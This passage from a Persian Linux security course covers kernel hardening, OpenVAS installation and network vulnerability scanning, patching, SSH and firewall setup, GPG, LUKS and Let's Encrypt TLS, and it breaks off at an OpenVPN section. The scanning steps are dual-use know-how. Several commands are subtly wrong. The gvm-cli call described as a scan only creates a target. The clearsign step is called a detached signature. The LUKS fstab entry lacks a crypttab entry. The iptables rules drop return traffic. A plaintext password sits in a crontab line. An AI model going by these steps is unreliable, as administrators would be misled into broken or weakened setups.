برای جلوگیری از حملات Stack Clash که باعث اجرای کدهای مخرب می‌شود، مقادیر زیر را در /etc/security/limits.conf اضافه کنید:

* hard stack 1048576
* soft stack 1048576
  • این مقادیر حداکثر اندازه استک (Stack) را محدود می‌کنند.

۸. فعال‌سازی Kernel Lockdown Mode

حالت Kernel Lockdown از تغییرات غیرمجاز در کرنل جلوگیری کرده و امنیت سیستم را افزایش می‌دهد. برای بررسی وضعیت آن:

cat /sys/kernel/security/lockdown

برای فعال‌سازی آن، مقدار integrity را در فایل /etc/default/grub اضافه کنید:

GRUB_CMDLINE_LINUX="... lockdown=integrity"

اعمال تغییرات در GRUB:

sudo grub-mkconfig -o /boot/grub/grub.cfg
sudo reboot
  • این گزینه از تغییرات کرنل در حین اجرا جلوگیری می‌کند.

۹. فعال‌سازی حالت Secure Boot در کرنل

Secure Boot از اجرای کرنل‌های غیرمجاز و تغییرات ناخواسته جلوگیری می‌کند. برای بررسی وضعیت آن:

mokutil --sb-state

برای فعال‌سازی Secure Boot در BIOS یا UEFI باید تنظیمات آن را انجام دهید.


۱۰. جلوگیری از ماژول‌های غیرمجاز در کرنل

برای جلوگیری از بارگذاری ماژول‌های غیرمجاز، مقدار 1 را به متغیر kernel.modules_disabled تنظیم کنید:

echo 1 > /proc/sys/kernel/modules_disabled
  • پس از اجرای این دستور، امکان بارگذاری ماژول‌های جدید غیرفعال می‌شود.

۱۱. بررسی و اعمال تنظیمات امنیتی کرنل به‌صورت خودکار

برای بررسی و اعمال تنظیمات امنیتی sysctl، دستور زیر را اجرا کنید:

sudo sysctl --system

جمع‌بندی

✅ فعال‌سازی ASLR برای جلوگیری از حملات مبتنی بر حافظه
✅ غیرفعال کردن Core Dump برای محافظت از اطلاعات حساس
✅ جلوگیری از تغییر مسیر ICMP و کاهش ریسک حملات MitM
✅ محدود کردن پردازش بسته‌های فوروارد شده برای جلوگیری از سوءاستفاده
✅ فعال‌سازی Kernel Lockdown Mode و Secure Boot برای افزایش امنیت کرنل
✅ محدود کردن بارگذاری ماژول‌های کرنل برای جلوگیری از اجرای کدهای مخرب

این تنظیمات به افزایش سطح امنیت هسته لینوکس و کاهش خطرات ناشی از حملات مختلف کمک می‌کنند.[/cdb_course_lesson][cdb_course_lesson title=”تشخیص آسیب‌پذیری‌ها با استفاده از ابزارهایی مانند OpenVAS”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”نحوه نصب، راه‌اندازی، پیکربندی و اجرای اسکن امنیتی با OpenVAS” subtitle=”توضیحات کامل”]OpenVAS یکی از قدرتمندترین ابزارهای اسکن امنیتی و تشخیص آسیب‌پذیری‌ها در سیستم‌ها و شبکه‌ها است. این ابزار قابلیت شناسایی تهدیدات رایج، بررسی امنیت سرورها، سرویس‌ها، پورت‌ها و ارائه گزارش‌های دقیق از آسیب‌پذیری‌ها را داراست.

در این بخش، نحوه نصب، راه‌اندازی، پیکربندی و اجرای اسکن امنیتی با OpenVAS همراه با دستورات موردنیاز و مسیرهای مربوطه ارائه خواهد شد.


۱. نصب OpenVAS در لینوکس

برای نصب OpenVAS در سیستم‌عامل‌های مختلف، مراحل زیر را دنبال کنید.

نصب در Ubuntu و Debian
sudo apt update && sudo apt install -y openvas
نصب در CentOS و RHEL
sudo yum install -y epel-release
sudo yum install -y openvas
نصب در Arch Linux
sudo pacman -S openvas

پس از نصب، باید پایگاه داده آسیب‌پذیری‌ها را بروزرسانی کرده و سرویس OpenVAS را فعال کنید.


۲. بروزرسانی پایگاه داده آسیب‌پذیری‌ها

sudo greenbone-feed-sync

این دستور اطلاعات مربوط به آسیب‌پذیری‌های جدید را از سرورهای Greenbone دانلود کرده و پایگاه داده OpenVAS را به‌روز می‌کند.


۳. راه‌اندازی سرویس OpenVAS

فعال‌سازی و اجرای سرویس
sudo systemctl enable --now openvas
sudo systemctl start openvas
بررسی وضعیت سرویس
sudo systemctl status openvas
  • در صورت اجرا نشدن، لاگ‌های مربوط به OpenVAS را بررسی کنید:
sudo journalctl -u openvas --no-pager

۴. تنظیمات اولیه OpenVAS

پس از نصب و اجرای OpenVAS، باید یک کاربر جدید برای ورود به پنل مدیریتی ایجاد کنید.

sudo runuser -u _gvm -- gvmd --create-user=openvas_admin --password=StrongPassword123!

با این دستور، یک کاربر با نام openvas_admin و رمز عبور StrongPassword123! ایجاد می‌شود. می‌توانید رمز را به مقدار دیگری تغییر دهید.


۵. اجرای OpenVAS Web Interface

پس از تنظیمات اولیه، برای دسترسی به پنل تحت وب OpenVAS، آدرس زیر را در مرورگر خود وارد کنید:

https://<IP-Address>:9392
  • <IP-Address> را با آدرس سرور OpenVAS جایگزین کنید.
  • از نام کاربری و رمز عبور ایجادشده استفاده کنید.

۶. اجرای اسکن امنیتی برای شناسایی آسیب‌پذیری‌ها

اجرای اسکن روی یک سرور خاص
gvm-cli --gmp-username openvas_admin --gmp-password 'StrongPassword123!' \
         socket --xml '<create_target><name>MyServer</name><hosts>192.168.1.10</hosts></create_target>'
  • در اینجا سرور 192.168.1.10 برای اسکن هدف قرار گرفته است.
  • می‌توان چندین IP را با جدا کردن آن‌ها با , مشخص کرد.
اجرای اسکن روی کل شبکه داخلی
gvm-cli --gmp-username openvas_admin --gmp-password 'StrongPassword123!' \
         socket --xml '<create_target><name>Local Network</name><hosts>192.168.1.0/24</hosts></create_target>'
  • این دستور کل شبکه 192.168.1.0/24 را اسکن می‌کند.

۷. مشاهده نتایج اسکن و تحلیل آسیب‌پذیری‌ها

مشاهده لیست آسیب‌پذیری‌ها از طریق CLI
gvm-cli --gmp-username openvas_admin --gmp-password 'StrongPassword123!' \
         socket --xml '<get_reports/>'
بررسی گزارش‌ها در وب‌اینترفیس

در پنل OpenVAS، می‌توان لیست آسیب‌پذیری‌های شناسایی‌شده، میزان خطر و راهکارهای پیشنهادی را مشاهده کرد.


۸. تنظیم اسکن خودکار برای شناسایی مداوم آسیب‌پذیری‌ها

برای اجرای خودکار اسکن‌های امنیتی، می‌توان از cronjob استفاده کرد.

crontab -e

و اضافه کردن این خط برای اجرای اسکن هر روز در ساعت ۲ بامداد:

0 2 * * * gvm-cli --gmp-username openvas_admin --gmp-password 'StrongPassword123!' socket --xml '<create_task>...</create_task>'
  • این کار باعث افزایش امنیت مداوم شبکه و سرورها خواهد شد.

۹. بهینه‌سازی عملکرد OpenVAS

برای بهینه‌سازی و جلوگیری از مصرف بیش از حد منابع، تنظیمات زیر را انجام دهید:

محدود کردن مصرف CPU و RAM
sudo nano /etc/systemd/system/openvas.service

و اضافه کردن مقادیر زیر:

[Service]
CPUShares=1024
MemoryMax=1G

سپس سرویس را ری‌استارت کنید:

sudo systemctl daemon-reload
sudo systemctl restart openvas
  • این کار باعث بهینه‌سازی مصرف منابع سرور می‌شود.

جمع‌بندی

✅ نصب و راه‌اندازی OpenVAS در لینوکس
✅ بروزرسانی پایگاه داده آسیب‌پذیری‌ها برای تشخیص تهدیدات جدید
✅ اجرای اسکن امنیتی روی سرورها و شبکه‌ها
✅ تحلیل گزارش‌های OpenVAS و یافتن نقاط ضعف سیستم
✅ اجرای اسکن‌های دوره‌ای برای افزایش امنیت مداوم
✅ بهینه‌سازی عملکرد OpenVAS برای جلوگیری از مصرف بیش از حد منابع

این روش‌ها به شما کمک می‌کنند امنیت شبکه و سرورهای خود را در برابر تهدیدات مختلف افزایش دهید.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”رفع آسیب‌پذیری‌ها و به‌روزرسانی نرم‌افزارها پس از اسکن با OpenVAS” subtitle=”توضیحات کامل”]پس از اجرای اسکن‌های امنیتی با OpenVAS و شناسایی آسیب‌پذیری‌ها، مرحله‌ی بعدی رفع این آسیب‌پذیری‌ها و به‌روزرسانی نرم‌افزارها است. در این بخش، نحوه تجزیه‌وتحلیل گزارش‌های OpenVAS، رفع مشکلات امنیتی، بروزرسانی سرویس‌ها و تقویت امنیت سیستم بررسی خواهد شد.


۱. بررسی و تحلیل گزارش‌های OpenVAS

پس از اجرای اسکن، می‌توان نتایج را در وب‌اینترفیس OpenVAS مشاهده کرد یا از طریق خط فرمان دریافت کرد.

مشاهده گزارش‌ها در وب‌اینترفیس

۱. وارد OpenVAS شوید:

https://<IP-Address>:9392

۲. به بخش Reports بروید و نتایج اسکن را بررسی کنید.
۳. برای هر آسیب‌پذیری، سطح خطر (Critical, High, Medium, Low) و توضیحات مرتبط نمایش داده می‌شود.

دریافت گزارش آسیب‌پذیری‌ها در CLI
gvm-cli --gmp-username openvas_admin --gmp-password 'StrongPassword123!' \
         socket --xml '<get_reports/>'

این دستور لیست آسیب‌پذیری‌ها، سطح خطر و توصیه‌های اصلاحی را ارائه می‌دهد.


۲. رفع آسیب‌پذیری‌های شناسایی‌شده

الف) به‌روزرسانی نرم‌افزارهای آسیب‌پذیر

بیشتر آسیب‌پذیری‌ها ناشی از نسخه‌های قدیمی نرم‌افزارها و سیستم‌عامل هستند. برای بروزرسانی:

در Ubuntu / Debian:

sudo apt update && sudo apt upgrade -y

در CentOS / RHEL:

sudo yum update -y

در Arch Linux:

sudo pacman -Syu
ب) بررسی و بروزرسانی کرنل لینوکس

برای رفع آسیب‌پذیری‌های کرنل، بهتر است آخرین نسخه کرنل را نصب کنید:

sudo apt install --only-upgrade linux-generic
sudo reboot
  • این کار، کرنل را به جدیدترین نسخه ارتقا می‌دهد و حملات Kernel Exploit را کاهش می‌دهد.

۳. تنظیمات امنیتی برای جلوگیری از حملات آینده

الف) غیرفعال کردن سرویس‌های غیرضروری
sudo systemctl list-units --type=service --state=running
sudo systemctl stop <service_name>
sudo systemctl disable <service_name>
  • بررسی کنید چه سرویس‌هایی فعال هستند و سرویس‌های ناامن یا غیرضروری را غیرفعال کنید.
ب) تنظیمات امنیتی در sysctl.conf برای جلوگیری از حملات Kernel
sudo nano /etc/sysctl.conf

افزودن تنظیمات زیر:

# جلوگیری از حملات SYN Flood
net.ipv4.tcp_syncookies = 1

# غیرفعال کردن پاسخ به درخواست‌های ICMP Broadcast
net.ipv4.icmp_echo_ignore_broadcasts = 1

# جلوگیری از Source Routing
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.default.accept_source_route = 0

اعمال تنظیمات:

sudo sysctl -p
  • این کار حملات DDoS، ICMP Flood و Spoofing را کاهش می‌دهد.

۴. رفع آسیب‌پذیری‌های مربوط به SSH

الف) غیرفعال کردن ورود Root از طریق SSH
sudo nano /etc/ssh/sshd_config

خط زیر را پیدا کرده و مقدار آن را به no تغییر دهید:

PermitRootLogin no

سپس سرویس را ری‌استارت کنید:

sudo systemctl restart sshd
  • این کار باعث جلوگیری از حملات Brute Force روی کاربر root می‌شود.
ب) استفاده از احراز هویت کلید عمومی (Key-Based Authentication)
ssh-keygen -t rsa -b 4096
ssh-copy-id user@server
  • ورود با رمز عبور را غیرفعال کنید تا امنیت افزایش یابد.

۵. رفع آسیب‌پذیری‌های شبکه و فایروال

الف) تنظیم فایروال iptables
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 443 -j ACCEPT
sudo iptables -A INPUT -j DROP
  • این تنظیمات باعث می‌شود فقط پورت‌های ضروری باز باشند و سایر درخواست‌ها مسدود شوند.
ب) استفاده از fail2ban برای جلوگیری از حملات Brute Force
sudo apt install fail2ban -y
sudo systemctl enable --now fail2ban
  • fail2ban تلاش‌های ناموفق ورود را شناسایی کرده و آی‌پی‌های مخرب را بلاک می‌کند.

۶. اسکن مجدد پس از رفع آسیب‌پذیری‌ها

برای اطمینان از اینکه مشکلات رفع شده‌اند، مجدداً اسکن OpenVAS را اجرا کنید:

gvm-cli --gmp-username openvas_admin --gmp-password 'StrongPassword123!' \
         socket --xml '<create_task>...</create_task>'

پس از اتمام اسکن، بررسی کنید که آسیب‌پذیری‌های قبلی حذف شده‌اند.


جمع‌بندی

✅ بررسی و تحلیل گزارش‌های OpenVAS
✅ بروزرسانی سیستم‌عامل و نرم‌افزارهای آسیب‌پذیر
✅ تقویت امنیت SSH و محدود کردن ورود کاربران
✅ بهبود تنظیمات فایروال و جلوگیری از حملات Brute Force
✅ اجرای اسکن‌های مجدد پس از رفع مشکلات

این مراحل باعث افزایش امنیت سرورها، جلوگیری از حملات سایبری و کاهش آسیب‌پذیری‌ها می‌شوند.[/cdb_course_lesson][cdb_course_lesson title=”فصل 4. محافظت از اطلاعات و رمزنگاری”][/cdb_course_lesson][cdb_course_lesson title=”رمزنگاری اطلاعات حساس”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”استفاده از GPG برای رمزنگاری ایمیل‌ها و فایل‌ها” subtitle=”توضیحات کامل”]GPG (GnuPG) یک ابزار متن‌باز برای رمزنگاری و امضای دیجیتال است که از استاندارد OpenPGP پیروی می‌کند. با استفاده از GPG می‌توان ایمیل‌ها، فایل‌ها و دیگر داده‌های حساس را رمزگذاری کرده و امنیت اطلاعات را افزایش داد.

نصب GPG

در اکثر توزیع‌های لینوکسی GPG به‌صورت پیش‌فرض نصب است، اما در صورت نیاز می‌توان آن را نصب کرد:

روی Ubuntu/Debian:

sudo apt update
sudo apt install gnupg -y

روی CentOS/RHEL:

sudo yum install gnupg2 -y

روی Arch Linux:

sudo pacman -S gnupg

ایجاد کلید GPG

برای رمزنگاری داده‌ها ابتدا باید یک جفت کلید (کلید عمومی و خصوصی) ایجاد کرد. این کلیدها برای رمزگذاری و امضای دیجیتال استفاده می‌شوند.

دستور زیر را برای ایجاد کلید جدید اجرا کنید:

gpg --full-generate-key

این دستور چندین سوال از شما خواهد پرسید، از جمله:

  • نوع کلید: گزینه RSA and RSA را انتخاب کنید.
  • طول کلید: مقدار 4096 را وارد کنید تا امنیت بالاتری داشته باشد.
  • مدت اعتبار: مقدار 0 را وارد کنید تا کلید دائمی باشد.
  • نام و ایمیل: اطلاعات خود را وارد کنید.
  • رمز عبور: یک رمز عبور قوی تعیین کنید.

پس از اتمام فرآیند، کلید عمومی و خصوصی شما ایجاد خواهد شد. برای مشاهده کلید عمومی:

gpg --list-keys

برای مشاهده کلید خصوصی:

gpg --list-secret-keys

صادر کردن کلید عمومی

برای به اشتراک‌گذاری کلید عمومی خود با دیگران، از دستور زیر استفاده کنید:

gpg --export --armor user@example.com > public-key.asc

وارد کردن کلید عمومی دیگران

برای رمزگذاری داده‌ها برای یک فرد خاص، ابتدا باید کلید عمومی آن فرد را دریافت و به GPG اضافه کنید:

gpg --import public-key.asc

رمزنگاری فایل با GPG

برای رمزنگاری یک فایل با استفاده از کلید عمومی یک فرد خاص:

gpg --encrypt --recipient user@example.com file.txt

فایل رمزگذاری‌شده به نام file.txt.gpg ایجاد خواهد شد.

رمزگشایی فایل

فرد دریافت‌کننده می‌تواند با استفاده از کلید خصوصی خود فایل را رمزگشایی کند:

gpg --decrypt file.txt.gpg > decrypted-file.txt

امضای دیجیتال فایل‌ها

برای تأیید صحت فایل‌ها، می‌توان از امضای دیجیتال GPG استفاده کرد. برای امضای یک فایل:

gpg --sign file.txt

این کار فایلی با پسوند .gpg ایجاد می‌کند که امضا شده است.

اگر بخواهید امضا را به‌صورت مجزا داشته باشید:

gpg --clearsign file.txt

تأیید امضای دیجیتال

برای بررسی امضای دیجیتال یک فایل:

gpg --verify file.txt.asc

حذف کلیدهای GPG

برای حذف یک کلید عمومی:

gpg --delete-key user@example.com

برای حذف کلید خصوصی:

gpg --delete-secret-key user@example.com

مسیر فایل‌های GPG

فایل‌های مربوط به کلیدهای GPG در مسیر زیر ذخیره می‌شوند:

~/.gnupg/
  • کلیدهای عمومی: ~/.gnupg/pubring.kbx
  • کلیدهای خصوصی: ~/.gnupg/private-keys-v1.d/
  • تنظیمات GPG: ~/.gnupg/gpg.conf

جمع‌بندی

  • GPG ابزاری قدرتمند برای رمزنگاری و امضای دیجیتال است.
  • برای استفاده از آن باید یک جفت کلید عمومی و خصوصی ایجاد کرد.
  • رمزگذاری و رمزگشایی فایل‌ها با کلیدهای GPG انجام می‌شود.
  • امضای دیجیتال امکان تأیید صحت فایل‌ها را فراهم می‌کند.
  • مدیریت کلیدهای GPG شامل وارد کردن، صادر کردن و حذف کلیدها می‌شود.
  • فایل‌های مربوط به GPG در مسیر ~/.gnupg/ ذخیره می‌شوند.

[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”پیاده‌سازی LUKS برای رمزنگاری دیسک‌ها و پارتیشن‌ها” subtitle=”توضیحات کامل”]LUKS (Linux Unified Key Setup) یک استاندارد رمزنگاری دیسک در لینوکس است که امکان رمزنگاری کامل پارتیشن‌ها را فراهم می‌کند. این روش امنیت بالایی دارد و از کلیدهای قوی برای حفاظت از اطلاعات استفاده می‌کند. در این بخش، نحوه استفاده از LUKS برای رمزنگاری دیسک‌ها و پارتیشن‌ها همراه با دستورات و مسیر فایل‌های مربوطه بررسی خواهد شد.

بررسی پیش‌نیازها و نصب بسته‌های موردنیاز

قبل از شروع فرآیند رمزنگاری، اطمینان حاصل کنید که بسته cryptsetup روی سیستم شما نصب شده است. برای بررسی نصب این بسته از دستور زیر استفاده کنید:

cryptsetup --version

در صورتی که این بسته نصب نشده باشد، می‌توانید آن را در توزیع‌های مختلف لینوکس با استفاده از دستورات زیر نصب کنید:

در Debian و Ubuntu:

sudo apt update
sudo apt install cryptsetup

در CentOS و RHEL:

sudo yum install cryptsetup

در Arch Linux:

sudo pacman -S cryptsetup

ایجاد یک پارتیشن جدید برای رمزنگاری

در صورتی که می‌خواهید یک دیسک یا پارتیشن جدید را رمزنگاری کنید، ابتدا با استفاده از fdisk یا parted یک پارتیشن جدید ایجاد کنید. در این مثال، دیسک /dev/sdb برای رمزنگاری انتخاب شده است.

sudo fdisk /dev/sdb

در داخل محیط fdisk مراحل زیر را انجام دهید:

  • با فشار دادن n یک پارتیشن جدید بسازید.
  • نوع آن را Linux LVM تنظیم کنید (Hex Code: 8E).
  • تغییرات را ذخیره کنید (w).

رمزنگاری پارتیشن با استفاده از LUKS

برای رمزنگاری پارتیشن /dev/sdb1 از دستور زیر استفاده کنید:

sudo cryptsetup luksFormat /dev/sdb1

پس از اجرای این دستور، سیستم از شما یک رمز عبور قوی درخواست می‌کند که برای باز کردن این پارتیشن در آینده استفاده خواهد شد.

باز کردن پارتیشن رمزنگاری‌شده

بعد از رمزنگاری، باید پارتیشن را باز کنید تا بتوانید از آن استفاده کنید. برای انجام این کار از دستور زیر استفاده کنید:

sudo cryptsetup luksOpen /dev/sdb1 encrypted_partition

پس از وارد کردن رمز عبور، پارتیشن با نام encrypted_partition در مسیر /dev/mapper/encrypted_partition در دسترس خواهد بود.

فرمت کردن پارتیشن رمزنگاری‌شده

قبل از استفاده، پارتیشن باید فرمت شود. در اینجا سیستم فایل ext4 برای آن در نظر گرفته شده است:

sudo mkfs.ext4 /dev/mapper/encrypted_partition

مونت کردن پارتیشن رمزنگاری‌شده

برای استفاده از پارتیشن، آن را در یک دایرکتوری مشخص مونت کنید:

sudo mount /dev/mapper/encrypted_partition /mnt

افزودن پارتیشن به fstab برای مونت خودکار

برای اینکه پارتیشن رمزنگاری‌شده پس از ریبوت به‌صورت خودکار در دسترس باشد، مقدار زیر را به فایل /etc/fstab اضافه کنید:

/dev/mapper/encrypted_partition  /mnt  ext4  defaults  0  2

بسته شدن و جدا کردن پارتیشن رمزنگاری‌شده

پس از استفاده، بهتر است پارتیشن را از سیستم جدا کرده و قفل کنید. برای انجام این کار مراحل زیر را اجرا کنید:

1. آن‌مونت کردن پارتیشن:

sudo umount /mnt

2. بستن دسترسی به پارتیشن رمزنگاری‌شده:

sudo cryptsetup luksClose encrypted_partition

بازیابی رمز عبور در صورت فراموشی

اگر رمز عبور را فراموش کردید اما هنوز یک کلید بازیابی دیگر را به پارتیشن اضافه کرده‌اید، می‌توانید با استفاده از دستور زیر رمز عبور را تغییر دهید:

sudo cryptsetup luksChangeKey /dev/sdb1

در صورتی که هیچ کلید دیگری در دسترس نباشد، بازیابی اطلاعات بسیار دشوار خواهد بود.

جمع بندی

در این بخش، نحوه پیاده‌سازی LUKS برای رمزنگاری دیسک‌ها و پارتیشن‌ها در لینوکس آموزش داده شد. مراحل اصلی شامل ایجاد پارتیشن، رمزنگاری آن، باز کردن و فرمت کردن پارتیشن رمزنگاری‌شده، مونت کردن آن و همچنین مدیریت کلیدها بود. با این روش می‌توان امنیت بالایی برای اطلاعات حساس فراهم کرد و از دسترسی‌های غیرمجاز جلوگیری نمود.[/cdb_course_lesson][cdb_course_lesson title=”تنظیمات SSL/TLS”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”پیکربندی SSL/TLS برای امنیت ارتباطات وب” subtitle=”توضیحات کامل”]SSL/TLS یکی از مهم‌ترین پروتکل‌ها برای تأمین امنیت ارتباطات وب است. این پروتکل با رمزنگاری داده‌ها بین کاربر و سرور، از شنود و تغییر اطلاعات جلوگیری می‌کند. در این بخش نحوه پیکربندی SSL/TLS روی سرور وب بررسی خواهد شد.

دریافت و نصب گواهینامه SSL

برای استفاده از SSL/TLS باید یک گواهینامه معتبر داشته باشید. این گواهینامه می‌تواند از یک CA (مرجع صدور گواهینامه) تهیه شود یا از Let’s Encrypt که یک ارائه‌دهنده رایگان SSL است.

نصب Certbot برای دریافت گواهینامه Let’s Encrypt

برای دریافت گواهینامه رایگان از Let’s Encrypt، ابزار Certbot را نصب کنید:

sudo apt update
sudo apt install certbot python3-certbot-nginx
دریافت گواهینامه برای Nginx

برای پیکربندی گواهینامه روی Nginx، دستور زیر را اجرا کنید:

sudo certbot --nginx -d example.com -d www.example.com

این دستور به طور خودکار تنظیمات Nginx را به‌روزرسانی کرده و گواهینامه را فعال می‌کند.

دریافت گواهینامه برای Apache

اگر از Apache استفاده می‌کنید، دستور زیر را اجرا کنید:

sudo certbot --apache -d example.com -d www.example.com

پیکربندی دستی SSL در Nginx

اگر قصد دارید به صورت دستی SSL را در Nginx تنظیم کنید، باید فایل تنظیمات سرور را ویرایش کنید. فایل مربوطه در مسیر زیر قرار دارد:

/etc/nginx/sites-available/default

فایل را با یک ویرایشگر متنی باز کنید:

sudo nano /etc/nginx/sites-available/default

و خطوط زیر را اضافه یا ویرایش کنید:

server {
    listen 443 ssl;
    server_name example.com www.example.com;

    ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem;
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers "ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256";

    location / {
        root /var/www/html;
        index index.html;
    }
}

بعد از اعمال تغییرات، سرویس Nginx را ری‌استارت کنید:

sudo systemctl restart nginx

پیکربندی دستی SSL در Apache

برای پیکربندی SSL در Apache، فایل تنظیمات را در مسیر زیر ویرایش کنید:

/etc/apache2/sites-available/default-ssl.conf

با دستور زیر فایل را ویرایش کنید:

sudo nano /etc/apache2/sites-available/default-ssl.conf

و خطوط زیر را تنظیم کنید:

<VirtualHost *:443>
    ServerName example.com
    DocumentRoot /var/www/html

    SSLEngine on
    SSLCertificateFile /etc/letsencrypt/live/example.com/fullchain.pem
    SSLCertificateKeyFile /etc/letsencrypt/live/example.com/privkey.pem

    <Directory /var/www/html>
        AllowOverride All
    </Directory>
</VirtualHost>

فعال‌سازی پیکربندی SSL و ری‌استارت Apache:

sudo a2enmod ssl
sudo a2ensite default-ssl.conf
sudo systemctl restart apache2

تمدید خودکار گواهینامه SSL

گواهینامه‌های صادر شده توسط Let’s Encrypt هر ۹۰ روز یک‌بار منقضی می‌شوند. برای تمدید خودکار می‌توان از Cron Job استفاده کرد. دستورات زیر را برای بررسی و تمدید خودکار اجرا کنید:

sudo certbot renew --dry-run

برای ایجاد یک Cron Job جهت تمدید خودکار:

sudo crontab -e

و این خط را اضافه کنید:

0 3 * * * /usr/bin/certbot renew --quiet

این دستور هر روز ساعت ۳ صبح تمدید را بررسی می‌کند.

جمع‌بندی

در این بخش نحوه دریافت و نصب گواهینامه SSL، پیکربندی دستی SSL در Nginx و Apache، و تمدید خودکار گواهینامه بررسی شد. استفاده از SSL/TLS برای تأمین امنیت ارتباطات وب ضروری است و به جلوگیری از حملات مرد میانی (MITM) کمک می‌کند.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”استفاده از Let’s Encrypt برای صدور گواهی SSL رایگان” subtitle=”توضیحات کامل”]Let’s Encrypt یک مرجع صدور گواهینامه (CA) رایگان، خودکار و منبع باز است که امکان دریافت و تمدید خودکار گواهینامه‌های SSL/TLS را فراهم می‌کند. این گواهینامه‌ها برای رمزنگاری ارتباطات وب مورد استفاده قرار می‌گیرند و امنیت اطلاعات کاربران را تضمین می‌کنند.

در این بخش، نحوه دریافت، نصب و تمدید خودکار گواهینامه‌های Let’s Encrypt را روی وب‌سرورهای Nginx و Apache بررسی می‌کنیم.


نصب Certbot

برای مدیریت گواهینامه‌های Let’s Encrypt، ابزار Certbot استفاده می‌شود. ابتدا باید این ابزار را روی سرور نصب کنیم. بسته به توزیع لینوکسی که استفاده می‌کنید، مراحل نصب ممکن است کمی متفاوت باشد.

نصب Certbot در Debian/Ubuntu:

sudo apt update
sudo apt install certbot python3-certbot-nginx -y

نصب Certbot در CentOS/RHEL:

sudo dnf install epel-release -y
sudo dnf install certbot python3-certbot-nginx -y

نصب Certbot در Arch Linux:

sudo pacman -S certbot certbot-nginx

دریافت گواهینامه SSL برای Nginx

پس از نصب Certbot، می‌توانیم گواهینامه SSL را برای دامنه موردنظر دریافت کنیم. در اینجا فرض می‌کنیم که دامنه شما example.com است.

sudo certbot --nginx -d example.com -d www.example.com

این دستور:

  • به‌طور خودکار پیکربندی Nginx را تنظیم می‌کند.
  • یک گواهینامه معتبر SSL صادر می‌کند.
  • وب‌سایت را برای استفاده از HTTPS پیکربندی می‌کند.

پس از اجرای این دستور، گواهینامه‌ها در مسیر زیر ذخیره خواهند شد:

/etc/letsencrypt/live/example.com/

فایل‌های موجود در این مسیر:

  • fullchain.pem: شامل گواهینامه SSL و گواهینامه‌های میانی
  • privkey.pem: کلید خصوصی مرتبط با گواهینامه

پیکربندی دستی Nginx برای استفاده از گواهینامه

اگر می‌خواهید گواهینامه را به‌صورت دستی پیکربندی کنید، فایل تنظیمات Nginx را در مسیر زیر ویرایش کنید:

/etc/nginx/sites-available/example.com

و محتوای زیر را اضافه کنید:

server {
    listen 443 ssl;
    server_name example.com www.example.com;

    ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem;

    location / {
        root /var/www/html;
        index index.html;
    }
}

سپس تنظیمات Nginx را بررسی و سرور را ری‌استارت کنید:

sudo nginx -t
sudo systemctl restart nginx

دریافت گواهینامه SSL برای Apache

برای دریافت و پیکربندی خودکار گواهینامه SSL در Apache، از دستور زیر استفاده کنید:

sudo certbot --apache -d example.com -d www.example.com

این دستور:

  • گواهینامه را دریافت و نصب می‌کند.
  • فایل پیکربندی Apache را تغییر می‌دهد.
  • وب‌سایت را برای استفاده از HTTPS آماده می‌کند.

گواهینامه‌ها در مسیر زیر ذخیره می‌شوند:

/etc/letsencrypt/live/example.com/

پیکربندی دستی Apache برای استفاده از گواهینامه

برای انجام تنظیمات دستی، فایل تنظیمات Apache را ویرایش کنید:

/etc/apache2/sites-available/example.com-le-ssl.conf

و تنظیمات زیر را اضافه کنید:

<VirtualHost *:443>
    ServerName example.com
    DocumentRoot /var/www/html

    SSLEngine on
    SSLCertificateFile /etc/letsencrypt/live/example.com/fullchain.pem
    SSLCertificateKeyFile /etc/letsencrypt/live/example.com/privkey.pem
</VirtualHost>

سپس Apache را ری‌استارت کنید:

sudo systemctl restart apache2

تمدید خودکار گواهینامه SSL

گواهینامه‌های Let’s Encrypt دارای اعتبار ۹۰ روزه هستند. برای تمدید خودکار آن‌ها، می‌توان از دستور زیر استفاده کرد:

sudo certbot renew --dry-run

برای اجرای خودکار تمدید، یک کرون‌جاب اضافه کنید:

sudo crontab -e

و خط زیر را اضافه کنید:

0 3 * * * certbot renew --quiet

این تنظیم باعث می‌شود که هر روز ساعت ۳ بامداد، Certbot بررسی کند که آیا گواهینامه نیاز به تمدید دارد یا نه.


جمع‌بندی

در این بخش، نحوه استفاده از Let’s Encrypt برای دریافت و پیکربندی گواهینامه SSL روی وب‌سرورهای Nginx و Apache بررسی شد. همچنین، روش تمدید خودکار گواهینامه‌ها آموزش داده شد. با استفاده از این راهکارها، می‌توان امنیت ارتباطات وب را به‌صورت رایگان و بدون نیاز به تنظیمات پیچیده افزایش داد.[/cdb_course_lesson][cdb_course_lesson title=”امنیت درون شبکه”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”استفاده از VPN برای ارتباطات امن از راه دور” subtitle=”توضیحات کامل”]VPN (Virtual Private Network) یک راهکار امنیتی برای رمزنگاری ترافیک شبکه و ایجاد یک تونل امن برای ارتباطات از راه دور است. این روش برای سازمان‌ها و کاربران شخصی که به امنیت داده‌های خود اهمیت می‌دهند، بسیار حیاتی است. در این بخش، نحوه راه‌اندازی OpenVPN روی یک سرور لینوکسی آموزش داده می‌شود.


نصب OpenVPN و Easy-RSA

